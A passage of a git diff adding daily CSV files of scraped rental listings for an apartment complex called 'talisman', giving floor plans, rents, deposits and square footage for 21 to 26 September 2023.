Bath,"$2,183",$300,674 - 775 sq.ft.,None,N/A +20230921,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230921,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230921,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230921,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230921,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230921,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230921,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230921,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230921,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230921,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230921,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230921,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230921,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230921,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230921,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230921,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230921,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230921,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230921,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230921,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230921,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230921,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230921,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230921,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230921,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230921,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230921,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230921,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230921,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230921,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230921,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230921,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230921,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230922.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230922.csv new file mode 100644 index 00000000000..eee865d86b7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230922.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230922,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230922,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230922,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230922,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230922,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230922,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230922,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230922,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230922,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230922,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230922,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230922,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230922,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230922,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230922,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230922,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230922,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230922,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230922,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230922,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230922,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230922,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230922,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230922,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230922,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230922,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230922,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230922,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230922,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230922,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230922,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230922,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230922,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230922,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230922,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230922,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230922,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230922,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230922,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230922,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230922,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230922,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230922,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230922,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230923.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230923.csv new file mode 100644 index 00000000000..443c03da67f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230923.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230923,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230923,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230923,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230923,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230923,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230923,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230923,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230923,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230923,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230923,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230923,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230923,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230923,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230923,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230923,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230923,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230923,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230923,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230923,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230923,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230923,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230923,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230923,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230923,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230923,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230923,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230923,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230923,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230923,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230923,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230923,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230923,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230923,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230923,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230923,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230923,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230923,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230923,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230923,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230923,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230923,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230923,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230923,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230923,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230924.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230924.csv new file mode 100644 index 00000000000..78fe36e1db1 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230924.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230924,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230924,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230924,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230924,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230924,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230924,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230924,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230924,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230924,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230924,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230924,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230924,talisman,B2 (1x1),1 Bed 1 Bath,"$2,198",$300,706 - 739 sq.ft.,None,N/A +20230924,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230924,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230924,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230924,talisman,B4 (1x1),1 Bed 1 Bath,"$1,897",$300,774 sq.ft.,None,N/A +20230924,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230924,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230924,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230924,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230924,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230924,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230924,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230924,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230924,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230924,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230924,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230924,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230924,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230924,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230924,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230924,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230924,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230924,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230924,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230924,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230924,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230924,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230924,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230924,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230924,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230924,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230924,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230924,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230925.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230925.csv new file mode 100644 index 00000000000..ad843038884 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230925.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230925,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230925,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230925,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230925,talisman,A1 (1x1),1 Bed 1 Bath,"$1,822",$300,604 - 671 sq.ft.,None,N/A +20230925,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230925,talisman,A3 (1x1),1 Bed 1 Bath,"$1,902",$300,609 - 642 sq.ft.,None,N/A +20230925,talisman,A2 (1x1),1 Bed 1 Bath,"$1,872",$300,617 - 715 sq.ft.,None,N/A +20230925,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230925,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230925,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230925,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230925,talisman,B2 (1x1),1 Bed 1 Bath,"$2,308",$300,706 - 739 sq.ft.,None,N/A +20230925,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230925,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230925,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,535",$300,745 - 828 sq.ft.,None,N/A +20230925,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230925,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230925,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230925,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230925,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230925,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230925,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230925,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230925,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230925,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230925,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,905",$300,890 - 945 sq.ft.,None,N/A +20230925,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230925,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230925,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230925,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230925,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230925,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230925,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,165",$300,1140 - 1185 sq.ft.,None,N/A +20230925,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230925,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230925,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230925,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230925,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,400",$300,1265 - 1297 sq.ft.,None,N/A +20230925,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230925,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230925,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230925,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230925,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230925,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230926.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230926.csv new file mode 100644 index 00000000000..0ea6c679447 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230926.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230926,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230926,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230926,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230926,talisman,A1 (1x1),1 Bed 1 Bath,"$1,917",$300,604 - 671 sq.ft.,None,N/A +20230926,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230926,talisman,A3 (1x1),1 Bed 1 Bath,"$1,997",$300,609 - 642 sq.ft.,None,N/A +20230926,talisman,A2 (1x1),1 Bed 1 Bath,"$1,967",$300,617 - 715 sq.ft.,None,N/A +20230926,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230926,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230926,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230926,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230926,talisman,B2 (1x1),1 Bed 1 Bath,"$2,420",$300,706 - 739 sq.ft.,None,N/A +20230926,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230926,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230926,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,397",$300,745 - 828 sq.ft.,None,N/A +20230926,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230926,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230926,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230926,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230926,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230926,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230926,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230926,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230926,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230926,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230926,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,767",$300,890 - 945 sq.ft.,None,N/A +20230926,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230926,talisman,C5 (2x2),2 Bed 2 Bath,"$2,741",$300,934 - 984 sq.ft.,None,N/A +20230926,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230926,talisman,C1 (2x2),2 Bed 2 Bath,"$3,126",$300,1029 - 1294 sq.ft.,None,N/A +20230926,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230926,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230926,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,027",$300,1140 - 1185 sq.ft.,None,N/A +20230926,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230926,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230926,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230926,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230926,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,262",$300,1265 - 1297 sq.ft.,None,N/A +20230926,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230926,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230926,talisman,D1 (3x2),3 Bed 2 Bath,"$3,251",$300,1241 - 1362 sq.ft.,None,N/A +20230926,talisman,CL7 (2x2),2 Bed 